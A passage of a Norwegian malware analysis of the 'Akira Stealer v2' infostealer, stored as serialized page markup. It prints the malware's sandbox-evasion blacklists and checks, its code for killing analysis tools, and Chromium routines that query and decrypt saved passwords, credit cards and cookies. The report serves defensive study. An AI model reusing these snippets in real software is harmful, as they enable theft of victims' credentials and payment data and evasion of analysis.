'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[551,5625,5623],{"__ignoreMap":594},[533,5627,5628],{},[540,5629,5630],{},"Blacklisted Computer Names",[588,5632,5635],{"className":5633,"code":5634,"language":593},[591],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[551,5636,5634],{"__ignoreMap":594},[533,5638,5639],{},[540,5640,5641],{},"Blacklisted User Accounts",[588,5643,5646],{"className":5644,"code":5645,"language":593},[591],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[551,5647,5645],{"__ignoreMap":594},[533,5649,5650],{},[540,5651,5652],{},"Blacklisted Analysis‐Tool Processes",[588,5654,5657],{"className":5655,"code":5656,"language":593},[591],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[551,5658,5656],{"__ignoreMap":594},[533,5660,5661],{},[540,5662,5663],{},"Core Detection Methods",[588,5665,5667],{"className":4490,"code":5666,"language":4492,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[551,5668,5669,5673,5677,5682,5686,5690,5695,5700,5705,5709,5713,5717,5721,5725,5729,5734,5739,5743,5747,5751,5756,5761,5765,5769,5773,5778,5783,5788,5793,5799,5804,5809,5814,5819,5824,5829,5835,5841,5847,5852,5857,5862,5867,5873,5878,5883,5888,5893,5898,5903,5909,5915,5921,5927,5932,5937,5943,5949,5955,5961,5966,5971,5977,5982,5987,5993,5999,6005,6010,6016,6022,6027,6033,6039,6044,6049,6054,6060],{"__ignoreMap":594},[1683,5670,5671],{"class":1685,"line":1686},[1683,5672,4981],{},[1683,5674,5675],{"class":1685,"line":2062},[1683,5676,5139],{},[1683,5678,5679],{"class":1685,"line":2068},[1683,5680,5681],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1683,5683,5684],{"class":1685,"line":2074},[1683,5685,5144],{},[1683,5687,5688],{"class":1685,"line":2394},[1683,5689,5149],{},[1683,5691,5692],{"class":1685,"line":2400},[1683,5693,5694],{},"            \"wmic csproduct get uuid\",\n",[1683,5696,5697],{"class":1685,"line":3058},[1683,5698,5699],{},"            shell=True, capture_output=True\n",[1683,5701,5702],{"class":1685,"line":3854},[1683,5703,5704],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1683,5706,5707],{"class":1685,"line":3860},[1683,5708,5169],{},[1683,5710,5711],{"class":1685,"line":4105},[1683,5712,5174],{},[1683,5714,5715],{"class":1685,"line":5029},[1683,5716,5179],{},[1683,5718,5719],{"class":1685,"line":5035},[1683,5720,3851],{"emptyLinePlaceholder":325},[1683,5722,5723],{"class":1685,"line":5041},[1683,5724,4981],{},[1683,5726,5727],{"class":1685,"line":5047},[1683,5728,5209],{},[1683,5730,5731],{"class":1685,"line":5053},[1683,5732,5733],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1683,5735,5736],{"class":1685,"line":5059},[1683,5737,5738],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1683,5740,5741],{"class":1685,"line":5065},[1683,5742,3851],{"emptyLinePlaceholder":325},[1683,5744,5745],{"class":1685,"line":5071},[1683,5746,4981],{},[1683,5748,5749],{"class":1685,"line":5077},[1683,5750,5274],{},[1683,5752,5753],{"class":1685,"line":5083},[1683,5754,5755],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1683,5757,5758],{"class":1685,"line":5089},[1683,5759,5760],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1683,5762,5763],{"class":1685,"line":5095},[1683,5764,3851],{"emptyLinePlaceholder":325},[1683,5766,5767],{"class":1685,"line":5101},[1683,5768,4981],{},[1683,5770,5771],{"class":1685,"line":5107},[1683,5772,5342],{},[1683,5774,5775],{"class":1685,"line":5113},[1683,5776,5777],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1683,5779,5781],{"class":1685,"line":5780},26,[1683,5782,5347],{},[1683,5784,5786],{"class":1685,"line":5785},27,[1683,5787,5144],{},[1683,5789,5791],{"class":1685,"line":5790},28,[1683,5792,5356],{},[1683,5794,5796],{"class":1685,"line":5795},29,[1683,5797,5798],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1683,5800,5802],{"class":1685,"line":5801},30,[1683,5803,5371],{},[1683,5805,5807],{"class":1685,"line":5806},31,[1683,5808,5169],{},[1683,5810,5812],{"class":1685,"line":5811},32,[1683,5813,5380],{},[1683,5815,5817],{"class":1685,"line":5816},33,[1683,5818,3851],{"emptyLinePlaceholder":325},[1683,5820,5822],{"class":1685,"line":5821},34,[1683,5823,4981],{},[1683,5825,5827],{"class":1685,"line":5826},35,[1683,5828,5410],{},[1683,5830,5832],{"class":1685,"line":5831},36,[1683,5833,5834],{},"    \"\"\"\n",[1683,5836,5838],{"class":1685,"line":5837},37,[1683,5839,5840],{},"    Attempt TLS to random subdomain.\n",[1683,5842,5844],{"class":1685,"line":5843},38,[1683,5845,5846],{},"    Failure → possible HTTPS interception/sandbox.\n",[1683,5848,5850],{"class":1685,"line":5849},39,[1683,5851,5834],{},[1683,5853,5855],{"class":1685,"line":5854},40,[1683,5856,5415],{},[1683,5858,5860],{"class":1685,"line":5859},41,[1683,5861,5144],{},[1683,5863,5865],{"class":1685,"line":5864},42,[1683,5866,5424],{},[1683,5868,5870],{"class":1685,"line":5869},43,[1683,5871,5872],{},"        return True\n",[1683,5874,5876],{"class":1685,"line":5875},44,[1683,5877,5169],{},[1683,5879,5881],{"class":1685,"line":5880},45,[1683,5882,5380],{},[1683,5884,5886],{"class":1685,"line":5885},46,[1683,5887,3851],{"emptyLinePlaceholder":325},[1683,5889,5891],{"class":1685,"line":5890},47,[1683,5892,4981],{},[1683,5894,5896],{"class":1685,"line":5895},48,[1683,5897,5467],{},[1683,5899,5901],{"class":1685,"line":5900},49,[1683,5902,5834],{},[1683,5904,5906],{"class":1685,"line":5905},50,[1683,5907,5908],{},"    Look for VirtualBox/VMware in:\n",[1683,5910,5912],{"class":1685,"line":5911},51,[1683,5913,5914],{},"    - Registry driver entries\n",[1683,5916,5918],{"class":1685,"line":5917},52,[1683,5919,5920],{},"    - Video card name via WMIC\n",[1683,5922,5924],{"class":1685,"line":5923},53,[1683,5925,5926],{},"    - Presence of VM-specific folders\n",[1683,5928,5930],{"class":1685,"line":5929},54,[1683,5931,5834],{},[1683,5933,5935],{"class":1685,"line":5934},55,[1683,5936,5472],{},[1683,5938,5940],{"class":1685,"line":5939},56,[1683,5941,5942],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1683,5944,5946],{"class":1685,"line":5945},57,[1683,5947,5948],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1683,5950,5952],{"class":1685,"line":5951},58,[1683,5953,5954],{},"        shell=True, capture_output=True\n",[1683,5956,5958],{"class":1685,"line":5957},59,[1683,5959,5960],{},"    )\n",[1683,5962,5964],{"class":1685,"line":5963},60,[1683,5965,5487],{},[1683,5967,5969],{"class":1685,"line":5968},61,[1683,5970,5942],{},[1683,5972,5974],{"class":1685,"line":5973},62,[1683,5975,5976],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1683,5978,5980],{"class":1685,"line":5979},63,[1683,5981,5954],{},[1683,5983,5985],{"class":1685,"line":5984},64,[1683,5986,5960],{},[1683,5988,5990],{"class":1685,"line":5989},65,[1683,5991,5992],{},"    gpu = any(\n",[1683,5994,5996],{"class":1685,"line":5995},66,[1683,5997,5998],{},"        x.lower() in subprocess.run(\n",[1683,6000,6002],{"class":1685,"line":6001},67,[1683,6003,6004],{},"            \"wmic path win32_VideoController get name\",\n",[1683,6006,6008],{"class":1685,"line":6007},68,[1683,6009,5699],{},[1683,6011,6013],{"class":1685,"line":6012},69,[1683,6014,6015],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1683,6017,6019],{"class":1685,"line":6018},70,[1683,6020,6021],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1683,6023,6025],{"class":1685,"line":6024},71,[1683,6026,5960],{},[1683,6028,6030],{"class":1685,"line":6029},72,[1683,6031,6032],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1683,6034,6036],{"class":1685,"line":6035},73,[1683,6037,6038],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1683,6040,6042],{"class":1685,"line":6041},74,[1683,6043,3851],{"emptyLinePlaceholder":325},[1683,6045,6047],{"class":1685,"line":6046},75,[1683,6048,4981],{},[1683,6050,6052],{"class":1685,"line":6051},76,[1683,6053,5561],{},[1683,6055,6057],{"class":1685,"line":6056},77,[1683,6058,6059],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1683,6061,6063],{"class":1685,"line":6062},78,[1683,6064,5566],{},[862,6066,6068],{"id":6067},"_7313-kjørings-og-avbruddslogikk","7.3.13 Kjørings- og avbruddslogikk",[533,6070,868],{},[2082,6072,6073,6087,6100],{},[607,6074,6075,6078,6079,6082,6083,6086],{},[540,6076,6077],{},"Initialisering:"," Inne i konstruktøren ",[551,6080,6081],{},"Akira.__init__()"," kaller malwaren umiddelbart ",[551,6084,6085],{},"VmProtect.isVM(1)"," for å gjøre raske virtualiseringssjekker med lav overhead (hostname, bruker, HTTPS-simulering).",[607,6088,6089,6092,6093,6096,6097,6099],{},[540,6090,6091],{},"Dybdeinspeksjon:"," Passerer den første testen, kalles ",[551,6094,6095],{},"VmProtect.isVM(2)",", som utløser mer omfattende sjekker, blant annet validering av hardware-UUID, hosting-deteksjon via ",[551,6098,5327],{}," og skanning av registerartefakter.",[607,6101,6102,6105,6106,6108,6109,6111],{},[540,6103,6104],{},"Avbruddsvei:"," Returnerer en av sjekkene ",[551,6107,4670],{},", altså at det er et virtuelt miljø eller analysemiljø, kjører koden ",[551,6110,4674],{}," og avslutter før noen rutiner for datainnsamling eller eksfiltrering settes i gang.",[862,6113,6115],{"id":6114},"_7314-konklusjon","7.3.14 Konklusjon",[533,6117,868],{},[533,6119,6120,6121,2032,6123,6125],{},"Modulen ",[551,6122,4616],{},[4629,6124,651],{}," viser et lagdelt forsvar mot analyse som utnytter både lokale systemfingeravtrykk og nettverksbaserte heuristikker. Ved å forstå og instrumentere disse presise sjekkene kan forsvarere snu spillet og oppdage slik unnvikende malware i operative miljøer.",[714,6127,6129],{"id":6128},"_74-eksfiltrering-av-nettleserdata","7.4 Eksfiltrering av nettleserdata",[533,6131,720],{},[533,6133,6134,6135,558,6138,6141],{},"Et av kjernemålene til Akira Stealer v2 er storskala uthenting av sensitive data lagret i nettleseren. Malwaren har skreddersydde moduler rettet mot både ",[540,6136,6137],{},"Chromium-baserte",[540,6139,6140],{},"Gecko-baserte (Firefox)"," nettlesere. Funksjonene omfatter uthenting og dekryptering av lagrede passord, cookies, kredittkortdata, autofyll-oppføringer og til og med sesjonstokens som kan gjenbrukes til å kapre kontoer i sin helhet.",[533,6143,6144],{},[540,6145,6146],{},"1. Oppsett av arbeidsområde",[588,6148,6150],{"className":4490,"code":6149,"language":4492,"meta":594,"style":594},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[551,6151,6152,6157,6162,6167],{"__ignoreMap":594},[1683,6153,6154],{"class":1685,"line":1686},[1683,6155,6156],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1683,6158,6159],{"class":1685,"line":2062},[1683,6160,6161],{},"os.makedirs(client_dir, exist_ok=True)\n",[1683,6163,6164],{"class":1685,"line":2068},[1683,6165,6166],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1683,6168,6169],{"class":1685,"line":2074},[1683,6170,6171],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[604,6173,6174,6181,6184,6187,6190],{},[607,6175,6176,6177],{},"Oppretter et engangsområde for staging under systemets temp-katalog, oppkalt etter offerets maskin (%TEMP%\\DESKTOP-",[6178,6179,6180],"hostname",{},"), slik at alle eksfiltrerte artefakter samles på ett sted som er enkelt å arkivere.",[607,6182,6183],{},"Isolerer data etter type: seks egne undermapper (Passwords, Cookies, CreditCards, History, Autofill, Wallets) hindrer navnekollisjoner og forenkler zippingen senere, siden hver uthentingsrutine bare skriver til sin egen mappe.",[607,6185,6186],{},"Idempotent mappeoppretting bruker exist_ok=True, så hvis malwaren kjører på nytt, for eksempel ved omstart eller via persistens, krasjer den ikke og overskriver ikke eksisterende data. Nye elementer legges bare til i samme struktur.",[607,6188,6189],{},"Muliggjør selektiv opprydding: når opplasting og varsling er ferdig, kan stealeren kalle Utils.clear_client_folder() for å slette bare sitt eget arbeidsområde rekursivt, uten å etterlate rester.",[607,6191,6192],{},"Legger grunnlaget for parallelle uthentingstråder: ved å opprette alle mål på forhånd kan bakgrunnstråder som samler inn nettleser-credentials, cookies, autofyll, kryptolommebokdata og mer, skrive resultater umiddelbart uten flere sjekker. Det holder overheaden nede og krymper vinduet der defensive hooks kan oppdage uventet fil-I/O.",[533,6194,6195],{},[540,6196,6197],{},"2. Nettlesere som støttes",[604,6199,6200,6242],{},[607,6201,6202,6204],{},[540,6203,6137],{},[604,6205,6206,6209,6212,6215,6218,6221,6224,6227,6230,6233,6236,6239],{},[607,6207,6208],{},"Google Chrome (Stable & SxS)",[607,6210,6211],{},"Microsoft Edge",[607,6213,6214],{},"Brave Browser",[607,6216,6217],{},"Opera & Opera GX",[607,6219,6220],{},"Chromium",[607,6222,6223],{},"Comodo Dragon",[607,6225,6226],{},"Epic Privacy Browser",[607,6228,6229],{},"Iridium Browser",[607,6231,6232],{},"UR Browser",[607,6234,6235],{},"Vivaldi Browser",[607,6237,6238],{},"Yandex Browser",[607,6240,6241],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[607,6243,6244,6247,6248,1113,6251,6262,6264,6265,6274,6276,6277,620,6280,6283],{},[540,6245,6246],{},"Firefox-baserte"," (via ",[551,6249,6250],{},"GeckoDriver",[604,6252,6253,6256,6259],{},[607,6254,6255],{},"Mozilla Firefox",[607,6257,6258],{},"Waterfox",[607,6260,6261],{},"Pale Moon",[698,6263],{},"Akira finner brukerprofiler dynamisk ved hjelp av miljøvariabler og velkjente katalogstrukturer:",[588,6266,6268],{"className":4490,"code":6267,"language":4492,"meta":594,"style":594},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[551,6269,6270],{"__ignoreMap":594},[1683,6271,6272],{"class":1685,"line":1686},[1683,6273,6267],{},[698,6275],{},"Den sjekker rekursivt etter tilgjengelige nettleserprofiler (for eksempel ",[551,6278,6279],{},"Default",[551,6281,6282],{},"Profile 1",") og retter seg mot SQLite-databaser innenfor disse stiene.",[862,6285,6287],{"id":6286},"_741-datatyper-som-hentes-ut","7.4.1 Datatyper som hentes ut",[533,6289,868],{},[1391,6291,4684,6292],{},[1407,6293,6294,4684,6307,4684,6320,4684,6332,4684,6344,4684,6356,4684,6367],{},[1397,6295,4689,6296,4689,6300,4689,6304,4684],{},[1400,6297,6299],{"style":6298},"text-align: left; width: 22%;","Datatype",[1400,6301,6303],{"style":6302},"text-align: left; width: 28%;","Kildefil",[1400,6305,6306],{},"Merknader",[1397,6308,4689,6309,4689,6312,4689,6317,4684],{},[1412,6310,6311],{},"Lagrede passord",[1412,6313,6314,6316],{},[551,6315,557],{}," (Chromium)",[1412,6318,6319],{},"Dekrypteres via DPAPI eller AES-GCM (etter Chromium v80)",[1397,6321,4689,6322,4689,6325,4689,6329,4684],{},[1412,6323,6324],{},"Cookies",[1412,6326,6327],{},[551,6328,6324],{},[1412,6330,6331],{},"Kan inneholde sesjonstokens, særlig for Google- og Facebook-kontoer",[1397,6333,4689,6334,4689,6337,4689,6341,4684],{},[1412,6335,6336],{},"Autofyll-data",[1412,6338,6339],{},[551,6340,561],{},[1412,6342,6343],{},"Adresser, e-postadresser, telefonnumre og liknende",[1397,6345,4689,6346,4689,6349,4689,6353,4684],{},[1412,6347,6348],{},"Kredittkort",[1412,6350,6351],{},[551,6352,561],{},[1412,6354,6355],{},"Kryptert, krever hovednøkkel",[1397,6357,4689,6358,4689,6361,4689,6364,4684],{},[1412,6359,6360],{},"Sesjonstokens",[1412,6362,6363],{},"I minnet og cookies",[1412,6365,6366],{},"Omfatter Gmail, Google-kontoer og replay av Discord OAUTH",[1397,6368,4689,6369,4689,6372,4689,6380,4684],{},[1412,6370,6371],{},"Historikk og URL-er",[1412,6373,6374,620,6377],{},[551,6375,6376],{},"History",[551,6378,6379],{},"Visited Links",[1412,6381,6382],{},"Ble også eksfiltrert til angriperen",[827,6384],{"className":6385},[830,831],[533,6387,6388,6391],{},[540,6389,6390],{},"3. Uthentingsmoduler","\nNår malware-utviklere sikter seg inn på nettlesere, er de viktigste skattkistene de ulike SQLite-databasene der Chrome, Firefox og slektningene deres lagrer credentials, cookies, historikk og autofyll-oppføringer. astor.py syr sammen lettvekts Python og native API-er for metodisk å plukke ut hver bit av dataene, og til og med spille av levende OAuth-sesjoner, uten å etterlate spor. Under følger en grundig gjennomgang modul for modul, ordrett fra koden.",[862,6393,6395,6396,1113],{"id":6394},"_742-passorddumper-chromiumgetpasswords","7.4.2 Passorddumper (",[551,6397,6398],{},"Chromium.GetPasswords",[533,6400,868],{},[533,6402,6403],{},"Denne modulen går systematisk gjennom alle Chromium-baserte nettleserprofiler for å hente ut lagrede påloggingsopplysninger. Ved å rette seg mot SQLite-databasen Login Data henter den brukernavn og krypterte passord, og bruker deretter plattformens krypteringsnøkkel (hentet via DPAPI eller AES-GCM) til å dekryptere dem til klartekst. Disse credentials er svært verdifulle for videre bevegelse etter kompromitteringen eller for kontoovertakelse.",[588,6405,6407],{"className":4490,"code":6406,"language":4492,"meta":594,"style":594},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[551,6408,6409,6414,6419,6424,6429,6434,6439,6444,6449,6454],{"__ignoreMap":594},[1683,6410,6411],{"class":1685,"line":1686},[1683,6412,6413],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1683,6415,6416],{"class":1685,"line":2062},[1683,6417,6418],{},"    for file in files:\n",[1683,6420,6421],{"class":1685,"line":2068},[1683,6422,6423],{},"        if file.lower() == \"login data\":\n",[1683,6425,6426],{"class":1685,"line":2074},[1683,6427,6428],{},"            # Copy DB → open → extract rows\n",[1683,6430,6431],{"class":1685,"line":2394},[1683,6432,6433],{},"            results = cursor.execute(\n",[1683,6435,6436],{"class":1685,"line":2400},[1683,6437,6438],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1683,6440,6441],{"class":1685,"line":3058},[1683,6442,6443],{},"            ).fetchall()\n",[1683,6445,6446],{"class":1685,"line":3854},[1683,6447,6448],{},"            for url, user, pwd_blob in results:\n",[1683,6450,6451],{"class":1685,"line":3860},[1683,6452,6453],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1683,6455,6456],{"class":1685,"line":4105},[1683,6457,6458],{},"                passwords.append((url, user, clear_pwd))\n",[604,6460,6461,6474,6480,6488,6505],{},[607,6462,6463,6466,6467,6469,6470,6473],{},[540,6464,6465],{},"Finner"," hver ",[551,6468,557],{},"-SQLite-database under nettleserens ",[551,6471,6472],{},"User Data","-mappe.",[607,6475,6476,6479],{},[540,6477,6478],{},"Kopierer"," til en midlertidig fil for å unngå nettleserlåser.",[607,6481,6482,973,6485,586],{},[540,6483,6484],{},"SQL-spørring",[551,6486,6487],{},"SELECT origin_url, username_value, password_value FROM logins",[607,6489,6490,6466,6493,6496,6497,6500,6501,6504],{},[540,6491,6492],{},"Dekrypterer",[551,6494,6495],{},"password_value","-blob via AES-GCM (",[551,6498,6499],{},"v10","/",[551,6502,6503],{},"v11",") eller Windows DPAPI som fallback.",[607,6506,6507,6510,6511,586],{},[540,6508,6509],{},"Skriver"," resultatet til ",[551,6512,6513],{},"Passwords/\u003CBrowserName> Passwords.txt",[862,6515,6517,6518,1113],{"id":6516},"_743-kredittkortdumper-chromiumgetcreditcards","7.4.3 Kredittkortdumper (",[551,6519,6520],{},"Chromium.GetCreditCards",[533,6522,868],{},[533,6524,6525],{},"Her henter stealeren lagrede kredittkortdata fra Web Data-filen i hver nettleserprofil. Den konsentrerer seg om å hente ut utløpsdato og krypterte kortnumre, som deretter dekrypteres med samme logikk som passordene. Selv om CVV-koder som regel ikke lagres, kan informasjonen som gjenopprettes, likevel misbrukes til card-not-present-svindel.",[588,6527,6529],{"className":4490,"code":6528,"language":4492,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[551,6530,6531,6536,6541,6546,6551,6556],{"__ignoreMap":594},[1683,6532,6533],{"class":1685,"line":1686},[1683,6534,6535],{},"results = cursor.execute(\n",[1683,6537,6538],{"class":1685,"line":2062},[1683,6539,6540],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1683,6542,6543],{"class":1685,"line":2068},[1683,6544,6545],{},").fetchall()\n",[1683,6547,6548],{"class":1685,"line":2074},[1683,6549,6550],{},"for month, year, enc_cc in results:\n",[1683,6552,6553],{"class":1685,"line":2394},[1683,6554,6555],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1683,6557,6558],{"class":1685,"line":2400},[1683,6559,6560],{},"    ccs.append((cc_number, month, year))\n",[604,6562,6563,6571,6578,6586],{},[607,6564,6565,1538,6568,6570],{},[540,6566,6567],{},"Retter seg mot",[551,6569,561],{},"-SQLite-lagrene under hver profil.",[607,6572,6573,973,6575,586],{},[540,6574,6484],{},[551,6576,6577],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[607,6579,6580,1538,6582,6585],{},[540,6581,6492],{},[551,6583,6584],{},"card_number_encrypted"," på akkurat samme måte som passord-blobene.",[607,6587,6588,6591,6592,586],{},[540,6589,6590],{},"Skriver resultatet"," til ",[551,6593,6594],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[862,6596,6598,6599,1113],{"id":6597},"_744-cookie-dumper-chromiumgetcookies","7.4.4 Cookie-dumper (",[551,6600,6601],{},"Chromium.GetCookies",[533,6603,868],{},[533,6605,6606],{},"Cookies, og særlig sesjonscookies, er førstevalget for å kapre kontoer uten passord. Denne modulen dumper alle cookie-filer på tvers av profilene, dekrypterer dem og samler inn viktige metadata som domene, navn og utløpstid. Kombinert med fingerprinting kan disse cookiene brukes til replay-angrep mot autentiserte tjenester uten videre hindringer.",[588,6608,6610],{"className":4490,"code":6609,"language":4492,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[551,6611,6612,6616,6621,6625,6630,6635],{"__ignoreMap":594},[1683,6613,6614],{"class":1685,"line":1686},[1683,6615,6535],{},[1683,6617,6618],{"class":1685,"line":2062},[1683,6619,6620],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1683,6622,6623],{"class":1685,"line":2068},[1683,6624,6545],{},[1683,6626,6627],{"class":1685,"line":2074},[1683,6628,6629],{},"for host, name, path, blob, expiry in results:\n",[1683,6631,6632],{"class":1685,"line":2394},[1683,6633,6634],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1683,6636,6637],{"class":1685,"line":2400},[1683,6638,6639],{},"    